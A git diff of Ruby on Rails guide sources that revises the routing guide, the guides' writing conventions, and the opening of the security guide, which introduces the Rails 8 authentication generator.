+scope "admin" do
+  resources :photos, as: "admin_photos"
 end
 
 resources :photos
 ```
 
-This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path`, etc.
+This changes the route helpers for `/admin/photos` from `photos_path`,
+`new_photos_path`, etc. to `admin_photos_path`, `new_admin_photo_path`, etc.
+Without the addition of `as: 'admin_photos'` on the scoped `resources :photos`,
+the non-scoped `resources :photos` will not have any route helpers.
 
 To prefix a group of route helpers, use `:as` with `scope`:
 
 ```ruby
-scope 'admin', as: 'admin' do
+scope "admin", as: "admin" do
   resources :photos, :accounts
 end
 
 resources :photos, :accounts
 ```
 
-This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively.
+Just as before, this changes the `/admin` scoped resource helpers to
+`admin_photos_path` and `admin_accounts_path`, and allows the non-scoped
+resources to use `photos_path` and `accounts_path`.
 
 NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.
 
-You can prefix routes with a named parameter also:
+### Using `:as` in Nested Resources
+
+The `:as` option can override routing helper names for resources in nested routes as well. For example:
 
 ```ruby
-scope ':username' do
+resources :magazines do
+  resources :ads, as: "periodical_ads"
+end
+```
+
+This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path` instead of the default `magazine_ads_url` and `edit_magazine_ad_path`.
+
+### Parametric Scopes
+
+You can prefix routes with a named parameter:
+
+```ruby
+scope ":account_id", as: "account", constraints: { account_id: /\d+/ } do
   resources :articles
 end
 ```
 
-This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+This will provide you with paths such as `/1/articles/9` and will allow you to reference the `account_id` part of the path as `params[:account_id]` in controllers, helpers, and views.
+
+It will also generate path and URL helpers prefixed with `account_`, into which you can pass your objects as expected:
+
+```ruby
+account_article_path(@account, @article) # => /1/article/9
+url_for([@account, @article])            # => /1/article/9
+form_with(model: [@account, @article])   # => <form action="/1/article/9" ...>
+```
+
+The `:as` option is also not mandatory, but without it, Rails will raise an error when evaluating `url_for([@account, @article])` or other helpers that rely on `url_for`, such as [`form_with`][].
+
+[`form_with`]: https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with
 
 ### Restricting the Routes Created
 
-By default, Rails creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+By default, using `resources` creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`). You can use the `:only` and `:except` options to limit which routes are created.
+
+The `:only` option tells Rails to create only the specified routes:
 
 ```ruby
 resources :photos, only: [:index, :show]
 ```
 
-Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail.
+Now, a `GET` request to `/photos` or `/photos/:id` would succeed, but a `POST` request to `/photos` will fail to match.
 
 The `:except` option specifies a route or list of routes that Rails should _not_ create:
 
@@ -1023,21 +1289,24 @@ resources :photos, except: :destroy
 
 In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).
 
-TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+TIP: If your application has many RESTful routes, using `:only` and `:except` to
+generate only the routes that you actually need can cut down on memory use and
+speed up the routing process by eliminating [unused
+routes](#listing-unused-routes).
 
 ### Translated Paths
 
 Using `scope`, we can alter path names generated by `resources`:
 
 ```ruby
-scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
-  resources :categories, path: 'kategorien'
+scope(path_names: { new: "neu", edit: "bearbeiten" }) do
+  resources :categories, path: "kategorien"
 end
 ```
 
 Rails now creates routes to the `CategoriesController`.
 
-| HTTP Verb | Path                       | Controller#Action  | Named Helper            |
+| HTTP Verb | Path                       | Controller#Action  | Named Route Helper      |
 | --------- | -------------------------- | ------------------ | ----------------------- |
 | GET       | /kategorien                | categories#index   | categories_path         |
 | GET       | /kategorien/neu            | categories#new     | new_category_path       |
@@ -1047,52 +1316,43 @@ Rails now creates routes to the `CategoriesController`.
 | PATCH/PUT | /kategorien/:id            | categories#update  | category_path(:id)      |
 | DELETE    | /kategorien/:id            | categories#destroy | category_path(:id)      |
 
-### Overriding the Singular Form
+### Specifying the Singular Form of a Resource
 
-If you want to define the singular form of a resource, you should add additional rules to the `Inflector`:
+If you need to override the singular form of a resource, you can add a rule to Active Support Inflector via [`inflections`][]:
 
 ```ruby
 ActiveSupport::Inflector.inflections do |inflect|
-  inflect.irregular 'tooth', 'teeth'
-end
-```
-
-### Using `:as` in Nested Resources
-
-The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example:
-
-```ruby
-resources :magazines do
-  resources :ads, as: 'periodical_ads'
+  inflect.irregular "tooth", "teeth"
 end
 ```
 
-This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
+[`inflections`]: https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-inflections
 
-### Overriding Named Route Parameters
+### Renaming Default Route Parameter `id`
 
-The `:param` option overrides the default resource identifier `:id` (name of
-the [dynamic segment](routing.html#dynamic-segments) used to generate the
-routes). You can access that segment from your controller using
-`params[<:param>]`.
+It is possible to rename the default parameter name `id` with the `:param` option. For example:
 
 ```ruby
 resources :videos, param: :identifier
 ```
 
+Will now use `params[:identifier]` instead of `params[:id]`.
+
 ```
-     videos GET  /videos(.:format)                  videos#index
-            POST /videos(.:format)                  videos#create
- new_videos GET  /videos/new(.:format)              videos#new
-edit_videos GET  /videos/:identifier/edit(.:format) videos#edit
+    videos GET  /videos(.:format)                  videos#index
+           POST /videos(.:format)                  videos#create
+ new_video GET  /videos/new(.:format)              videos#new
+edit_video GET  /videos/:identifier/edit(.:format) videos#edit
 ```
 
 ```ruby
-Video.find_by(identifier: params[:identifier])
+Video.find_by(id: params[:identifier])
+
+# Instead of
+Video.find_by(id: params[:id])
 ```
 
-You can override `ActiveRecord::Base#to_param` of a related model to construct
-a URL:
+You can override [`ActiveRecord::Base#to_param`](https://api.rubyonrails.org/classes/ActiveRecord/Integration.html#method-i-to_param) of the associated model to construct a URL:
 
 ```ruby
 class Video < ApplicationRecord
@@ -1100,19 +1360,22 @@ class Video < ApplicationRecord
     identifier
   end
 end
+```
 
-video = Video.find_by(identifier: "Roman-Holiday")
-edit_videos_path(video) # => "/videos/Roman-Holiday"
+```irb
+irb> video = Video.find_by(identifier: "Roman-Holiday")
+irb> edit_video_path(video)
+=> "/videos/Roman-Holiday/edit"
 ```
 
-Inspecting and Testing Routes
------------------------------
+Inspecting Routes
+-----------------
 
-Rails offers facilities for inspecting and testing your routes.
+Rails offers a few different ways of inspecting and testing your routes.
 
 ### Listing Existing Routes
 
-To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rails routes` command in your terminal to produce the same output.
+To get a complete list of routes available in an application, visit `http://localhost:3000/rails/info/routes` in the **development** environment. You can also execute the `bin/rails routes` command in your terminal to get the same output.
 
 Both methods will list all of your routes, in the same order that they appear in `config/routes.rb`. For each route, you'll see:
 
@@ -1121,7 +1384,7 @@ Both methods will list all of your routes, in the same order that they appear in
 * The URL pattern to match
 * The routing parameters for the route
 
-For example, here's a small section of the `rails routes` output for a RESTful route:
+For example, here's a small section of the `bin/rails routes` output for a RESTful route:
 
 ```
     users GET    /users(.:format)          users#index
@@ -1130,60 +1393,166 @@ For example, here's a small section of the `rails routes` output for a RESTful r
 edit_user GET    /users/:id/edit(.:format) users#edit
 ```
 
-You can search through your routes with the grep option: -g. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path.
+The route name (`new_user` above, for example) can be considered the base for deriving route helpers. To get the name of a route helper, add the suffix `_path` or `_url` to the route name (`new_user_path`, for example).
+
+You can also use the `--expanded` option to turn on the expanded table formatting mode.
+
+```bash
+$ bin/rails routes --expanded
 
+--[ Route 1 ]----------------------------------------------------
+Prefix            | users
+Verb              | GET
+URI               | /users(.:format)
+Controller#Action | users#index
+--[ Route 2 ]----------------------------------------------------
+Prefix            |
+Verb              | POST
+URI               | /users(.:format)
+Controller#Action | users#create
+--[ Route 3 ]----------------------------------------------------
+Prefix            | new_user
+Verb              | GET
+URI               | /users/new(.:format)
+Controller#Action | users#new
+--[ Route 4 ]----------------------------------------------------
+Prefix            | edit_user
+Verb              | GET
+URI               | /users/:id/edit(.:format)
+Controller#Action | users#edit
 ```
+
+### Searching Routes
+
+You can search through your routes with the grep option: `-g`. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path.
+
+```bash
 $ bin/rails routes -g new_comment
 $ bin/rails routes -g POST
 $ bin/rails routes -g admin
 ```
 
-If you only want to see the routes that map to a specific controller, there's the -c option.
+If you only want to see the routes that map to a specific controller, there's the controller option: `-c`.
 
-```
+```bash
 $ bin/rails routes -c users
 $ bin/rails routes -c admin/users
 $ bin/rails routes -c Comments
 $ bin/rails routes -c Articles::CommentsController
 ```
 
-TIP: You'll find that the output from `rails routes` is much more readable if you widen your terminal window until the output lines don't wrap.
+TIP: The output from `bin/rails routes` is easier to read if you widen your terminal window until the output lines don't wrap or use the `--expanded` option.
+
+### Listing Unused Routes
+
+You can scan your application for unused routes with the `--unused` option. An "unused" route in Rails is a route that is defined in the config/routes.rb file but is not referenced by any controller action or view in your application. For example:
+
+```bash
+$ bin/rails routes --unused
+Found 8 unused routes:
+
+     Prefix Verb   URI Pattern                Controller#Action
+     people GET    /people(.:format)          people#index
+            POST   /people(.:format)          people#create
+ new_person GET    /people/new(.:format)      people#new
+edit_person GET    /people/:id/edit(.:format) people#edit
+     person GET    /people/:id(.:format)      people#show
+            PATCH  /people/:id(.:format)      people#update
+            PUT    /people/:id(.:format)      people#update
+            DELETE /people/:id(.:format)      people#destroy
+```
+
+### Routes in Rails Console
+
+You can access route helpers using `Rails.application.routes.url_helpers` within the [Rails Console](command_line.html#bin-rails-console). They are also available via the [app](command_line.html#the-app-and-helper-objects) object. For example:
 
-### Testing Routes
+```irb
+irb> Rails.application.routes.url_helpers.users_path
+=> "/users"
+
+irb> user = User.first
+=> #<User:0x00007fc1eab81628
+irb> app.edit_user_path(user)
+=> "/users/1/edit"
+```
 
-Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler:
+Testing Routes
+--------------
 
-* `assert_generates`
-* `assert_recognizes`
-* `assert_routing`
+Rails offers three built-in assertions designed to make testing routes simpler:
 
-#### The `assert_generates` Assertion
+* [`assert_generates`][]
+* [`assert_recognizes`][]
+* [`assert_routing`][]
 
-`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:
+[`assert_generates`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates
+[`assert_recognizes`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes
+[`assert_routing`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing
+
+### The `assert_generates` Assertion
+
+[`assert_generates`][] asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:
 
 ```ruby
-assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
-assert_generates '/about', controller: 'pages', action: 'about'
+assert_generates "/photos/1", { controller: "photos", action: "show", id: "1" }
+assert_generates "/about", controller: "pages", action: "about"
 ```
 
-#### The `assert_recognizes` Assertion
+### The `assert_recognizes` Assertion
 
-`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:
+[`assert_recognizes`][] is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:
 
 ```ruby
-assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+assert_recognizes({ controller: "photos", action: "show", id: "1" }, "/photos/1")
 ```
 
 You can supply a `:method` argument to specify the HTTP verb:
 
 ```ruby
-assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })
+assert_recognizes({ controller: "photos", action: "create" }, { path: "photos", method: :post })
 ```
 
-#### The `assert_routing` Assertion
+### The `assert_routing` Assertion
 
-The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`:
+The [`assert_routing`][] assertion checks the route both ways. It combines the functionality of both `assert_generates` and `assert_recognizes`. It tests that the path generates the options, and that the options generate the path:
 
 ```ruby
-assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+assert_routing({ path: "photos", method: :post }, { controller: "photos", action: "create" })
 ```
+
+Breaking Up a Large Route File With `draw`
+-----------------------------------------
+
+In a large application with thousands of routes, a single `config/routes.rb` file can become cumbersome and hard to read. Rails offers a way to break up a single `routes.rb` file into multiple small ones using the [`draw`][] macro.
+
+For example, you could add an `admin.rb` file that contains all the routes related to the admin area, another `api.rb` file for API related resources, etc.
+
+```ruby
+# config/routes.rb
+
+Rails.application.routes.draw do
+  get "foo", to: "foo#bar"
+
+  draw(:admin) # Will load another route file located in `config/routes/admin.rb`
+end
+```
+
+```ruby
+# config/routes/admin.rb
+
+namespace :admin do
+  resources :comments
+end
+```
+
+Calling `draw(:admin)` inside the `Rails.application.routes.draw` block itself
+will try to load a route file that has the same name as the argument given
+(`admin.rb` in this example). The file needs to be located inside the
+`config/routes` directory or any sub-directory (i.e. `config/routes/admin.rb` or
+`config/routes/external/admin.rb`).
+
+NOTE: You can use the normal routing DSL inside a secondary routing file such as `admin.rb`, but *do not* surround it with the `Rails.application.routes.draw` block. That should be used in the main `config/routes.rb` file only.
+
+[`draw`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-draw
+
+NOTE: Don't use this feature unless you really need it. Having multiple routing files make it harder to discover routes in one place. For most applications - even those with a few hundred routes - it's easier for developers to have a single routing file. The Rails routing DSL already offers a way to break routes in an organized manner with `namespace` and `scope`.
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
index de63e193f4e1d..1e3cb1facc55a 100644
--- a/guides/source/ruby_on_rails_guides_guidelines.md
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails Guides Guidelines
 ===============================
@@ -13,9 +13,9 @@ After reading this guide, you will know:
 --------------------------------------------------------------------------------
 
 Markdown
--------
+--------
 
-Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](http://daringfireball.net/projects/markdown/basics).
+Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](https://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](https://daringfireball.net/projects/markdown/basics).
 
 Prologue
 --------
@@ -23,11 +23,11 @@ Prologue
 Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html).
 
 Headings
-------
+--------
 
 The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`.
 
-```
+```markdown
 Guide Title
 ===========
 
@@ -39,26 +39,206 @@ Section
 
 When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":
 
-```
+```markdown
+#### Assertions and Testing Jobs inside Components
 #### Middleware Stack is an Array
 #### When are Objects Saved?
 ```
 
 Use the same inline formatting as regular text:
 
-```
+```markdown
 ##### The `:content_type` Option
 ```
 
-Linking to the API
-------------------
+Code Examples
+-------------
+
+Wrap code examples with code fence syntax using backticks:
+
+````markdown
+```ruby
+puts "Hello World!"
+```
+````
+
+Always specify the language used in the example. Supported languages labels
+include: `ruby`, `html`, `irb`, `html+erb`, `bash` and `js`.
+
+````markdown
+```js
+alert("Hello World!")
+```
+````
+
+### Filenames for Examples
+
+If an example references a specific file add the filename in the comments:
+
+````markdown
+```ruby
+# app/model/product.rb
+
+class Product < ApplicationRecord
+end
+```
+````
+
+NOTE: Filename comments are ignored by the copy button.
+
+For ERB templates use ERB comments:
+
+````markdown
+```html+erb
+<%# app/views/products/show.html.erb %>
+<h1><%= @product.name %></h1>
+
+<%= link_to "Back", products_path %>
+```
+````
+
+### Examples with Command Prompts
+
+For bash examples use `$` as the prompt character:
+
+````markdown
+```bash
+$ cd my_app
+$ bin/rails server
+```
+````
+
+NOTE: Prompts are ignored by the copy button.
+
+For Rails console examples use `application(environment)>` as the prompt:
+
+````markdown
+```irb
+store(dev)> Product.first
+=> #<Product:0x00000001221f6260 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">
+```
+````
+
+### Code Highlighting
+
+For large examples small changes can be difficult to notice.
+Highlight the lines by passing the line numbers:
+
+````markdown
+```ruby#4,7-9
+# app/model/product.rb
+
+class Product < ApplicationRecord
+  validates :name, presence: true
+  validates :price, presence: true
+
+  def back_in_stock?
+    inventory_count_previously_was.zero? && inventory_count.positive?
+  end
+end
+```
+````
+
+This would highlight lines 4, and 7 through 9:
+
+```ruby#4,7-9
+# app/model/product.rb
+
+class Product < ApplicationRecord
+  validates :name, presence: true
+  validates :price, presence: true
+
+  def back_in_stock?
+    inventory_count_previously_was.zero? && inventory_count.positive?
+  end
+end
+```
+
+Notes, Tips and Warnings
+------------------------
+
+Sometimes a paragraph deserves a little more attention. For example, to clarify
+a common misunderstanding or warn about something that could break an
+application.
+
+To highlight a paragraph, prefix it with `NOTE:`, `TIP:` or `WARNING:`:
+
+```markdown
+NOTE: Use `NOTE`, `TIP` or `WARNING` to highlight a paragraph.
+```
+
+This will wrap the paragraph in a special container resulting in the following:
+
+NOTE: Use `NOTE`, `TIP` or `WARNING` to highlight a paragraph.
+
+### NOTE
+
+Use `NOTE` to highlight something in relation to the subject and the context.
+Reading it will help your understanding of that subject or context, or
+clarify an important item.
+
+For example, a section describing locale files could have the following `NOTE`:
+
+NOTE: You need to restart the server when you add new locale files.
+
+### TIP
+
+A `TIP` is just an additional bit of information regarding the subject, but not
+necessarily relevant to the understanding. It can point you to another guide or
+website:
+
+TIP: To learn more about routing, see [Rails Routing from the Outside In](
+routing.html).
+
+Or show a helpful command to see more options to dig deeper:
+
+TIP: For further help with generators, run `bin/rails generate --help`.
+
+### WARNING
+
+Use `WARNING` for things to avoid that could break the application:
+
+WARNING: Refrain from using methods like `update`, `save`, or any other methods
+that cause side effects on the object within your callback methods.
+
+Or warn about things that could compromise your application's security.
+
+WARNING: Keep your master key safe. Do not commit your master key.
+
+Links
+-----
+
+Use descriptive links and avoid "here" and "more" links:
+
+```markdown
+# BAD
+See the Rails Internationalization (I18n) API documentation for [more
+details](i18n.html).
+
+# GOOD
+See the [Rails Internationalization (I18n) API documentation](i18n.html) for
+more details.
+```
+
+Use descriptive links for internal links as well:
+
+```markdown
+# BAD
+We will cover this [below](#multiple-callback-conditions).
+
+# GOOD
+We will cover this in the [multiple callback conditions
+section](#multiple-callback-conditions) shown below.
+```
+
+### Linking to the API
 
 Links to the API (`api.rubyonrails.org`) are processed by the guides generator in the following manner:
 
 Links that include a release tag are left untouched. For example
 
 ```
-http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html
+https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html
 ```
 
 is not modified.
@@ -68,29 +248,33 @@ Please use these in release notes, since they should point to the corresponding
 If the link does not include a release tag and edge guides are being generated, the domain is replaced by `edgeapi.rubyonrails.org`. For example,
 
 ```
-http://api.rubyonrails.org/classes/ActionDispatch/Response.html
+https://api.rubyonrails.org/classes/ActionDispatch/Response.html
 ```
 
 becomes
 
 ```
-http://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html
+https://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html
 ```
 
 If the link does not include a release tag and release guides are being generated, the Rails version is injected. For example, if we are generating the guides for v5.1.0 the link
 
 ```
-http://api.rubyonrails.org/classes/ActionDispatch/Response.html
+https://api.rubyonrails.org/classes/ActionDispatch/Response.html
 ```
 
 becomes
 
 ```
-http://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html
+https://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html
 ```
 
 Please don't link to `edgeapi.rubyonrails.org` manually.
 
+Column Wrapping
+---------------
+
+Do not reformat old guides just to wrap columns. But new sections and guides should wrap at 80 columns.
 
 API Documentation Guidelines
 ----------------------------
@@ -98,7 +282,7 @@ API Documentation Guidelines
 The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides:
 
 * [Wording](api_documentation_guidelines.html#wording)
-* [English](api_documentation_guidelines.html#english)
+* [English](api_documentation_guidelines.html#american-english)
 * [Example Code](api_documentation_guidelines.html#example-code)
 * [Filenames](api_documentation_guidelines.html#file-names)
 * [Fonts](api_documentation_guidelines.html#fonts)
@@ -107,59 +291,58 @@ HTML Guides
 -----------
 
 Before generating the guides, make sure that you have the latest version of
-Bundler installed on your system. As of this writing, you must install Bundler
-1.3.5 or later on your device.
+Bundler installed on your system. To install the latest version of Bundler, run `gem install bundler`.
 
-To install the latest version of Bundler, run `gem install bundler`.
+If you already have Bundler installed, you can update with `gem update bundler`.
 
 ### Generation
 
 To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute:
 
-```
-bundle exec rake guides:generate
+```bash
+$ bundle exec rake guides:generate
 ```
 
 or
 
-```
-bundle exec rake guides:generate:html
+```bash
+$ bundle exec rake guides:generate:html
 ```
 
 Resulting HTML files can be found in the `./output` directory.
 
 To process `my_guide.md` and nothing else use the `ONLY` environment variable:
 
-```
-touch my_guide.md
-bundle exec rake guides:generate ONLY=my_guide
+```bash
+$ touch my_guide.md
+$ bundle exec rake guides:generate ONLY=my_guide
 ```
 
 By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.
 
 To force processing all the guides, pass `ALL=1`.
 
-If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:
+If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (e.g. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:
 
-```
-bundle exec rake guides:generate GUIDES_LANGUAGE=es
+```bash
+$ bundle exec rake guides:generate GUIDES_LANGUAGE=es
 ```
 
 If you want to see all the environment variables you can use to configure the generation script just run:
 
-```
-rake
+```bash
+$ rake
 ```
 
 ### Validation
 
 Please validate the generated HTML with:
 
-```
-bundle exec rake guides:validate
+```bash
+$ bundle exec rake guides:validate
 ```
 
-Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution.
+Particularly, titles get an ID generated from their content and this often leads to duplicates.
 
 Kindle Guides
 -------------
@@ -168,6 +351,6 @@ Kindle Guides
 
 To generate guides for the Kindle, use the following rake task:
 
-```
-bundle exec rake guides:generate:kindle
+```bash
+$ bundle exec rake guides:generate:kindle
 ```
diff --git a/guides/source/security.md b/guides/source/security.md
index a81a782cf2bd2..ef1e29352bc57 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -1,12 +1,13 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
-Ruby on Rails Security Guide
-============================
+Securing Rails Applications
+===========================
 
-This manual describes common security problems in web applications and how to avoid them with Rails.
+This guide describes common security problems in web applications and how to avoid them with Rails.
 
 After reading this guide, you will know:
 
+* How to use the built-in authentication generator.
 * All countermeasures _that are highlighted_.
 * The concept of sessions in Rails, what to put in there and popular attack methods.
 * How just visiting a site can be a security problem (with CSRF).
@@ -19,46 +20,249 @@ After reading this guide, you will know:
 Introduction
 ------------
 
-Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.
+Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so this is hardly a problem.
 
-In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server, and the web application itself (and possibly other layers or applications).
 
 The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
 
-The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment, or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
+
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs, and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
+
+Authentication
+--------------
+
+Authentication is often one of the first features implemented in a web
+application. It serves as the foundation for securing user data and is part of
+most modern web applications.
+
+Starting with version 8.0, Rails comes with a default authentication generator,
+which provides a solid starting point for securing your application by only
+allowing access to verified users.
+
+The authentication generator adds all of the relevant models, controllers,
+views, routes, and migrations needed for basic authentication and password reset
+functionality.
+
+To use this feature in your application, you can run `bin/rails generate
+authentication`. Here are all of the files the generator modifies and new files
+it adds:
+
+```bash
+$ bin/rails generate authentication
+      invoke  erb
+      create    app/views/passwords/new.html.erb
+      create    app/views/passwords/edit.html.erb
+      create    app/views/sessions/new.html.erb
+      create  app/models/session.rb
+      create  app/models/user.rb
+      create  app/models/current.rb
+      create  app/controllers/sessions_controller.rb
+      create  app/controllers/concerns/authentication.rb
+      create  app/controllers/passwords_controller.rb
+      create  app/mailers/passwords_mailer.rb
+      create  app/views/passwords_mailer/reset.html.erb
+      create  app/views/passwords_mailer/reset.text.erb
+      create  test/mailers/previews/passwords_mailer_preview.rb
+        gsub  app/controllers/application_controller.rb
+       route  resources :passwords, param: :token
+       route  resource :session
+        gsub  Gemfile
+      bundle  install --quiet
+    generate  migration CreateUsers email_address:string!:uniq password_digest:string! --force
+       rails  generate migration CreateUsers email_address:string!:uniq password_digest:string! --force
+      invoke  active_record
+      create    db/migrate/20241010215312_create_users.rb
+    generate  migration CreateSessions user:references ip_address:string user_agent:string --force
+       rails  generate migration CreateSessions user:references ip_address:string user_agent:string --force
+      invoke  active_record
+      create    db/migrate/20241010215314_create_sessions.rb
+```
+
+As shown above, the authentication generator modifies the `Gemfile` to add the
+[bcrypt](https://github.com/bcrypt-ruby/bcrypt-ruby/) gem. The generator uses
+the `bcrypt` gem to create a hash of the password, which is then stored in the
+database (instead of the plain-text password). As this process is not
+reversible, there's no way to go from the hash back to the password. The hashing
+algorithm is deterministic though, so the stored password is able to be compared
+with the hash of the user-inputted password during authentication.
+
+The generator adds two migration files for creating `user` and `session` tables.
+Next step is to run the migrations:
+
+```bash
+$ bin/rails db:migrate
+```
+
+Then, if you visit `/session/new` in your browser (you will see this route has
+been added in `routes.rb`), you'll see a form that accepts an email and a
+password with "sign in" button. This form routes to the `SessionsController`
+which was added by the generator. If you provide an email/password for a user
+that exists in the database, you will be able to successfully authenticate with
+those credentials and log in to the application.
+
+NOTE: After running the Authentication generator, you do need to implement your
+own *sign up flow* and add the necessary views, routes, and controller actions.
+There is no code generated that creates new `user` records and allows users to
+"sign up" in the first place. This is something you'll need to wire up based on
+the requirements of your application.
+
+Here is a list of modified files:
+
+```bash
+On branch main
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+  modified:   Gemfile
+  modified:   Gemfile.lock
+  modified:   app/controllers/application_controller.rb
+  modified:   config/routes.rb
+
+Untracked files:
+  (use "git add <file>..." to include in what will be committed)
+  app/controllers/concerns/authentication.rb
+  app/controllers/passwords_controller.rb
+  app/controllers/sessions_controller.rb
+  app/mailers/passwords_mailer.rb
+  app/models/current.rb
+  app/models/session.rb
+  app/models/user.rb
+  app/views/passwords/
+  app/views/passwords_mailer/
+  app/views/sessions/
+  db/migrate/
+  db/schema.rb
+  test/mailers/previews/
+```
+
+### Reset Password
+
+The authentication generator also adds reset password functionality. You can see
